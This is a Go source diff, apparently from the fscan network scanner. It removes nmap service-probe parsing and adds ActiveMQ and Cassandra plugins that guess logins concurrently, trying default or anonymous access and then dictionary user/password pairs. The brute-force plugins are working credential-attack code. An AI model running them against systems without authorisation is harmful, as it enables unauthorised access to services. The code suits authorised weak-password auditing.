versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
common.LogDebug("解码pattern失败: " + decodeErr.Error())
return softMatch, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return softMatch, compileErr
}
// 设置softMatch对象属性
softMatch.Service = directive.DirectiveName
softMatch.Pattern = pattern
softMatch.PatternCompiled = patternCompiled
softMatch.VersionInfo = versionInfo
common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
softMatch.Service, softMatch.Pattern))
return softMatch, nil
}
// MatchPattern 检查响应是否与匹配规则匹配
func (m *Match) MatchPattern(response []byte) bool {
if m.PatternCompiled == nil {
common.LogDebug("警告: 匹配规则的正则表达式未编译")
return false
}
matched := m.PatternCompiled.Match(response)
if matched {
// 提取匹配到的子组
submatches := m.PatternCompiled.FindStringSubmatch(string(response))
if len(submatches) > 1 {
m.FoundItems = submatches[1:] // 排除完整匹配,只保留分组
common.LogDebug(fmt.Sprintf("模式匹配成功,提取到 %d 个分组", len(m.FoundItems)))
} else {
common.LogDebug("模式匹配成功,但没有分组匹配")
}
}
return matched
}

File diff suppressed because it is too large Load Diff

View File

@ -1,292 +0,0 @@
package portfinger
import (
"fmt"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common"
)
// 解析指令语法,返回指令结构
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
common.LogDebug("开始解析指令语法,输入数据: " + data)
directive = Directive{}
// 查找第一个空格的位置
blankIndex := strings.Index(data, " ")
if blankIndex == -1 {
common.LogDebug("未找到空格分隔符")
return directive
}
// 解析各个字段
directiveName := data[:blankIndex]
Flag := data[blankIndex+1 : blankIndex+2]
delimiter := data[blankIndex+2 : blankIndex+3]
directiveStr := data[blankIndex+3:]
directive.DirectiveName = directiveName
directive.Flag = Flag
directive.Delimiter = delimiter
directive.DirectiveStr = directiveStr
common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
directiveName, Flag, delimiter, directiveStr))
return directive
}
// 解析探测器信息
func (p *Probe) parseProbeInfo(probeStr string) {
common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
// 提取协议和其他信息
proto := probeStr[:4]
other := probeStr[4:]
// 验证协议类型
if !(proto == "TCP " || proto == "UDP ") {
errMsg := "探测器协议必须是 TCP 或 UDP"
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 验证其他信息不为空
if len(other) == 0 {
errMsg := "nmap-service-probes - 探测器名称无效"
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 解析指令
directive := p.getDirectiveSyntax(other)
// 设置探测器属性
p.Name = directive.DirectiveName
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
p.Name, p.Data, p.Protocol))
}
// 从字符串解析探测器信息
func (p *Probe) fromString(data string) error {
common.LogDebug("开始解析探测器字符串数据")
var err error
// 预处理数据
data = strings.TrimSpace(data)
lines := strings.Split(data, "\n")
if len(lines) == 0 {
return fmt.Errorf("输入数据为空")
}
probeStr := lines[0]
p.parseProbeInfo(probeStr)
// 解析匹配规则和其他配置
var matchs []Match
for _, line := range lines {
common.LogDebug("处理行: " + line)
switch {
case strings.HasPrefix(line, "match "):
match, err := p.getMatch(line)
if err != nil {
common.LogDebug("解析match失败: " + err.Error())
continue
}
matchs = append(matchs, match)
case strings.HasPrefix(line, "softmatch "):
softMatch, err := p.getSoftMatch(line)
if err != nil {
common.LogDebug("解析softmatch失败: " + err.Error())
continue
}
matchs = append(matchs, softMatch)
case strings.HasPrefix(line, "ports "):
p.parsePorts(line)
case strings.HasPrefix(line, "sslports "):
p.parseSSLPorts(line)
case strings.HasPrefix(line, "totalwaitms "):
p.parseTotalWaitMS(line)
case strings.HasPrefix(line, "tcpwrappedms "):
p.parseTCPWrappedMS(line)
case strings.HasPrefix(line, "rarity "):
p.parseRarity(line)
case strings.HasPrefix(line, "fallback "):
p.parseFallback(line)
}
}
p.Matchs = &matchs
common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
return err
}
// 解析端口配置
func (p *Probe) parsePorts(data string) {
p.Ports = data[len("ports")+1:]
common.LogDebug("解析端口: " + p.Ports)
}
// 解析SSL端口配置
func (p *Probe) parseSSLPorts(data string) {
p.SSLPorts = data[len("sslports")+1:]
common.LogDebug("解析SSL端口: " + p.SSLPorts)
}
// 解析总等待时间
func (p *Probe) parseTotalWaitMS(data string) {
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
if err != nil {
common.LogDebug("解析总等待时间失败: " + err.Error())
return
}
p.TotalWaitMS = waitMS
common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
}
// 解析TCP包装等待时间
func (p *Probe) parseTCPWrappedMS(data string) {
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
if err != nil {
common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
return
}
p.TCPWrappedMS = wrappedMS
common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
}
// 解析稀有度
func (p *Probe) parseRarity(data string) {
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
if err != nil {
common.LogDebug("解析稀有度失败: " + err.Error())
return
}
p.Rarity = rarity
common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
}
// 解析回退配置
func (p *Probe) parseFallback(data string) {
p.Fallback = data[len("fallback")+1:]
common.LogDebug("回退配置: " + p.Fallback)
}
// 从内容解析探测器规则
func (v *VScan) parseProbesFromContent(content string) {
common.LogDebug("开始解析探测器规则文件内容")
var probes []Probe
var lines []string
// 过滤注释和空行
linesTemp := strings.Split(content, "\n")
for _, lineTemp := range linesTemp {
lineTemp = strings.TrimSpace(lineTemp)
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
continue
}
lines = append(lines, lineTemp)
}
// 验证文件内容
if len(lines) == 0 {
errMsg := "读取nmap-service-probes文件失败: 内容为空"
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 检查Exclude指令
excludeCount := 0
for _, line := range lines {
if strings.HasPrefix(line, "Exclude ") {
excludeCount++
}
if excludeCount > 1 {
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
}
// 验证第一行格式
firstLine := lines[0]
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 处理Exclude指令
if excludeCount == 1 {
v.Exclude = firstLine[len("Exclude")+1:]
lines = lines[1:]
common.LogDebug("解析到Exclude规则: " + v.Exclude)
}
// 合并内容并分割探测器
content = "\n" + strings.Join(lines, "\n")
probeParts := strings.Split(content, "\nProbe")[1:]
// 解析每个探测器
for _, probePart := range probeParts {
probe := Probe{}
if err := probe.fromString(probePart); err != nil {
common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
continue
}
probes = append(probes, probe)
}
v.AllProbes = probes
common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
}
// 将探测器转换为名称映射
func (v *VScan) parseProbesToMapKName() {
common.LogDebug("开始构建探测器名称映射")
v.ProbesMapKName = map[string]Probe{}
for _, probe := range v.AllProbes {
v.ProbesMapKName[probe.Name] = probe
common.LogDebug("添加探测器映射: " + probe.Name)
}
}
// 设置使用的探测器
func (v *VScan) SetusedProbes() {
common.LogDebug("开始设置要使用的探测器")
for _, probe := range v.AllProbes {
if strings.ToLower(probe.Protocol) == "tcp" {
if probe.Name == "SSLSessionReq" {
common.LogDebug("跳过 SSLSessionReq 探测器")
continue
}
v.Probes = append(v.Probes, probe)
common.LogDebug("添加TCP探测器: " + probe.Name)
// 特殊处理TLS会话请求
if probe.Name == "TLSSessionReq" {
sslProbe := v.ProbesMapKName["SSLSessionReq"]
v.Probes = append(v.Probes, sslProbe)
common.LogDebug("为TLSSessionReq添加SSL探测器")
}
} else {
v.UdpProbes = append(v.UdpProbes, probe)
common.LogDebug("添加UDP探测器: " + probe.Name)
}
}
common.LogDebug(fmt.Sprintf("探测器设置完成TCP: %d个, UDP: %d个",
len(v.Probes), len(v.UdpProbes)))
}

View File

@ -1,71 +0,0 @@
package portfinger
import (
_ "embed"
"fmt"
"github.com/shadow1ng/fscan/common"
)
//go:embed nmap-service-probes.txt
var ProbeString string
var v VScan
var null *Probe
var commonProbe *Probe
// Init 初始化VScan对象
func (vs *VScan) Init() {
common.LogDebug("开始初始化VScan")
vs.parseProbesFromContent(ProbeString)
vs.parseProbesToMapKName()
vs.SetusedProbes()
common.LogDebug("VScan初始化完成")
}
// InitializeGlobalVScan 初始化全局VScan实例
func InitializeGlobalVScan() {
common.LogDebug("开始初始化全局变量")
v = VScan{}
v.Init()
// 获取并检查 NULL 探测器
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
common.LogDebug(fmt.Sprintf("成功获取NULL探测器Data长度: %d", len(nullProbe.Data)))
null = &nullProbe
} else {
common.LogDebug("警告: 未找到NULL探测器")
}
// 获取并检查 GenericLines 探测器
if genericProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器Data长度: %d", len(genericProbe.Data)))
commonProbe = &genericProbe
} else {
common.LogDebug("警告: 未找到GenericLines探测器")
}
common.LogDebug("全局变量初始化完成")
}
// GetGlobalVScan 获取全局VScan实例
func GetGlobalVScan() *VScan {
return &v
}
// GetNullProbe 获取NULL探测器
func GetNullProbe() *Probe {
return null
}
// GetCommonProbe 获取通用探测器
func GetCommonProbe() *Probe {
return commonProbe
}
func init() {
InitializeGlobalVScan()
}

View File

@ -1,67 +0,0 @@
package portfinger
import (
"regexp"
)
// VScan 主扫描器结构体
type VScan struct {
Exclude string
AllProbes []Probe
UdpProbes []Probe
Probes []Probe
ProbesMapKName map[string]Probe
}
// Probe 探测器结构体
type Probe struct {
Name string // 探测器名称
Data string // 探测数据
Protocol string // 协议
Ports string // 端口范围
SSLPorts string // SSL端口范围
TotalWaitMS int // 总等待时间
TCPWrappedMS int // TCP包装等待时间
Rarity int // 稀有度
Fallback string // 回退探测器名称
Matchs *[]Match // 匹配规则列表
}
// Match 匹配规则结构体
type Match struct {
IsSoft bool // 是否为软匹配
Service string // 服务名称
Pattern string // 匹配模式
VersionInfo string // 版本信息格式
FoundItems []string // 找到的项目
PatternCompiled *regexp.Regexp // 编译后的正则表达式
}
// Directive 指令结构体
type Directive struct {
DirectiveName string
Flag string
Delimiter string
DirectiveStr string
}
// Extras 额外信息结构体
type Extras struct {
VendorProduct string
Version string
Info string
Hostname string
OperatingSystem string
DeviceType string
CPE string
}
// Target 目标结构体
type Target struct {
Host string
Port int
Timeout int
}

View File

@ -1,131 +0,0 @@
package portfinger
import (
"fmt"
"regexp"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common"
)
// ParseVersionInfo 解析版本信息并返回额外信息结构
func (m *Match) ParseVersionInfo(response []byte) Extras {
common.LogDebug("开始解析版本信息")
var extras = Extras{}
// 确保有匹配项
if len(m.FoundItems) == 0 {
common.LogDebug("没有匹配项,无法解析版本信息")
return extras
}
// 替换版本信息中的占位符
foundItems := m.FoundItems
versionInfo := m.VersionInfo
for index, value := range foundItems {
dollarName := "$" + strconv.Itoa(index+1)
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
}
common.LogDebug("替换后的版本信息: " + versionInfo)
// 定义解析函数
parseField := func(field, pattern string) string {
patterns := []string{
pattern + `/([^/]*)/`, // 斜线分隔
pattern + `\|([^|]*)\|`, // 竖线分隔
}
for _, p := range patterns {
if strings.Contains(versionInfo, pattern) {
regex := regexp.MustCompile(p)
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
return matches[1]
}
}
}
return ""
}
// 解析各个字段
extras.VendorProduct = parseField("厂商产品", " p")
extras.Version = parseField("版本", " v")
extras.Info = parseField("信息", " i")
extras.Hostname = parseField("主机名", " h")
extras.OperatingSystem = parseField("操作系统", " o")
extras.DeviceType = parseField("设备类型", " d")
// 特殊处理CPE
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
for _, pattern := range cpePatterns {
regex := regexp.MustCompile(pattern)
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
if len(cpeName) > 1 {
extras.CPE = cpeName[1]
} else {
extras.CPE = cpeName[0]
}
common.LogDebug("解析到CPE: " + extras.CPE)
break
}
}
}
return extras
}
// ToMap 将 Extras 转换为 map[string]string
func (e *Extras) ToMap() map[string]string {
common.LogDebug("开始转换Extras为Map")
result := make(map[string]string)
// 定义字段映射
fields := map[string]string{
"vendor_product": e.VendorProduct,
"version": e.Version,
"info": e.Info,
"hostname": e.Hostname,
"os": e.OperatingSystem,
"device_type": e.DeviceType,
"cpe": e.CPE,
}
// 添加非空字段到结果map
for key, value := range fields {
if value != "" {
result[key] = value
common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
}
}
common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
return result
}
// TrimBanner 清理横幅数据,移除不可打印字符
func TrimBanner(banner string) string {
// 移除开头和结尾的空白字符
banner = strings.TrimSpace(banner)
// 移除控制字符,但保留换行符和制表符
var result strings.Builder
for _, r := range banner {
if r >= 32 && r <= 126 { // 可打印ASCII字符
result.WriteRune(r)
} else if r == '\n' || r == '\t' { // 保留换行符和制表符
result.WriteRune(r)
} else {
result.WriteRune(' ') // 其他控制字符替换为空格
}
}
// 压缩多个连续空格为单个空格
resultStr := result.String()
spaceRe := regexp.MustCompile(`\s+`)
resultStr = spaceRe.ReplaceAllString(resultStr, " ")
return strings.TrimSpace(resultStr)
}

318
Plugins/ActiveMQ.go Normal file
View File

@ -0,0 +1,318 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"strings"
"sync"
"time"
)
// ActiveMQCredential 表示一个ActiveMQ凭据
type ActiveMQCredential struct {
Username string
Password string
}
// ActiveMQScanResult 表示扫描结果
type ActiveMQScanResult struct {
Success bool
Error error
Credential ActiveMQCredential
}
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试默认账户
Common.LogDebug("尝试默认账户 admin:admin")
defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"}
defaultResult := tryActiveCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
if defaultResult.Success {
saveActiveMQSuccess(info, target, defaultResult.Credential)
return nil
}
// 生成所有凭据组合
credentials := generateActiveMQCredentials(Common.Userdict["activemq"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["activemq"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentActiveMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveActiveMQSuccess(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("ActiveMQ扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
return nil
}
}
// generateActiveMQCredentials 生成ActiveMQ的用户名密码组合
func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential {
var credentials []ActiveMQCredential
for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ActiveMQCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
// concurrentActiveMQScan 并发扫描ActiveMQ服务
func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *ActiveMQScanResult, 1)
workChan := make(chan ActiveMQCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryActiveCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("ActiveMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryActiveCredential 尝试单个ActiveMQ凭据
func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &ActiveMQScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := ActiveMQConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &ActiveMQScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &ActiveMQScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// ActiveMQConn 尝试ActiveMQ连接
func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
addr := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 使用上下文创建带超时的连接
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
conn, err := dialer.DialContext(ctx, "tcp", addr)
if err != nil {
return false, err
}
defer conn.Close()
// 创建结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中处理认证
go func() {
// STOMP协议的CONNECT命令
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
// 发送认证请求
conn.SetWriteDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if _, err := conn.Write([]byte(stompConnect)); err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 读取响应
conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
respBuf := make([]byte, 1024)
n, err := conn.Read(respBuf)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 检查认证结果
response := string(respBuf[:n])
var success bool
var resultErr error
if strings.Contains(response, "CONNECTED") {
success = true
resultErr = nil
} else if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") {
success = false
resultErr = fmt.Errorf("认证失败")
} else {
success = false
resultErr = fmt.Errorf("未知响应: %s", response)
}
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{success, resultErr}:
}
}()
// 等待认证结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveActiveMQSuccess 记录并保存ActiveMQ成功结果
func saveActiveMQSuccess(info *Common.HostInfo, target string, credential ActiveMQCredential) {
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "activemq",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(result)
}

342
Plugins/Cassandra.go Normal file
View File

@ -0,0 +1,342 @@
package Plugins
import (
"context"
"fmt"
"github.com/gocql/gocql"
"github.com/shadow1ng/fscan/Common"
"strconv"
"strings"
"sync"
"time"
)
// CassandraCredential 表示一个Cassandra凭据
type CassandraCredential struct {
Username string
Password string
}
// CassandraScanResult 表示扫描结果
type CassandraScanResult struct {
Success bool
IsAnonymous bool
Error error
Credential CassandraCredential
}
func CassandraScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...")
anonymousCredential := CassandraCredential{Username: "", Password: ""}
anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries)
if anonymousResult.Success {
saveCassandraSuccess(info, target, anonymousResult.Credential, true)
return nil
}
// 生成所有凭据组合
credentials := generateCassandraCredentials(Common.Userdict["cassandra"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentCassandraScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveCassandraSuccess(info, target, result.Credential, false)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Cassandra扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// generateCassandraCredentials 生成Cassandra的用户名密码组合
func generateCassandraCredentials(users, passwords []string) []CassandraCredential {
var credentials []CassandraCredential
for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, CassandraCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
// concurrentCassandraScan 并发扫描Cassandra服务
func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *CassandraScanResult, 1)
workChan := make(chan CassandraCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryCassandraCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Cassandra并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryCassandraCredential 尝试单个Cassandra凭据
func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &CassandraScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := CassandraConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &CassandraScanResult{
Success: true,
IsAnonymous: credential.Username == "" && credential.Password == "",
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &CassandraScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// CassandraConn 尝试Cassandra连接支持上下文超时
func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
cluster := gocql.NewCluster(host)
cluster.Port, _ = strconv.Atoi(port)
cluster.Timeout = timeout
cluster.ConnectTimeout = timeout
cluster.ProtoVersion = 4
cluster.Consistency = gocql.One
if user != "" || pass != "" {
cluster.Authenticator = gocql.PasswordAuthenticator{
Username: user,
Password: pass,
}
}
cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3}
// 创建会话通道
sessionChan := make(chan struct {
session *gocql.Session
err error
}, 1)
// 在后台创建会话,以便可以通过上下文取消
go func() {
session, err := cluster.CreateSession()
select {
case <-ctx.Done():
if session != nil {
session.Close()
}
case sessionChan <- struct {
session *gocql.Session
err error
}{session, err}:
}
}()
// 等待会话创建或上下文取消
var session *gocql.Session
var err error
select {
case result := <-sessionChan:
session, err = result.session, result.err
if err != nil {
return false, err
}
case <-ctx.Done():
return false, ctx.Err()
}
defer session.Close()
// 尝试执行查询,测试连接是否成功
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
var version string
var err error
// 尝试两种查询,确保至少一种成功
err = session.Query("SELECT peer FROM system.peers").WithContext(ctx).Scan(&version)
if err != nil {
err = session.Query("SELECT now() FROM system.local").WithContext(ctx).Scan(&version)
}
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{err == nil, err}:
}
}()
// 等待查询结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveCassandraSuccess 记录并保存Cassandra成功结果
func saveCassandraSuccess(info *Common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
var successMsg string
var details map[string]interface{}
if isAnonymous {
successMsg = fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"auth_type": "anonymous",
"type": "unauthorized-access",
"description": "数据库允许无认证访问",
}
} else {
successMsg = fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
}
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
}

1050
Plugins/DCInfo.go Normal file

File diff suppressed because it is too large Load Diff

9
Plugins/DCInfoUnix.go Normal file
View File

@ -0,0 +1,9 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/Common"
func DCInfoScan(info *Common.HostInfo) (err error) {
return nil
}

View File

@ -5,8 +5,7 @@ import (
"crypto/tls"
"encoding/base64"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/Common"
"net/http"
"strings"
"sync"
@ -27,21 +26,21 @@ type ElasticScanResult struct {
Credential ElasticCredential
}
func ElasticScan(info *common.HostInfo) error {
if common.DisableBrute {
func ElasticScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
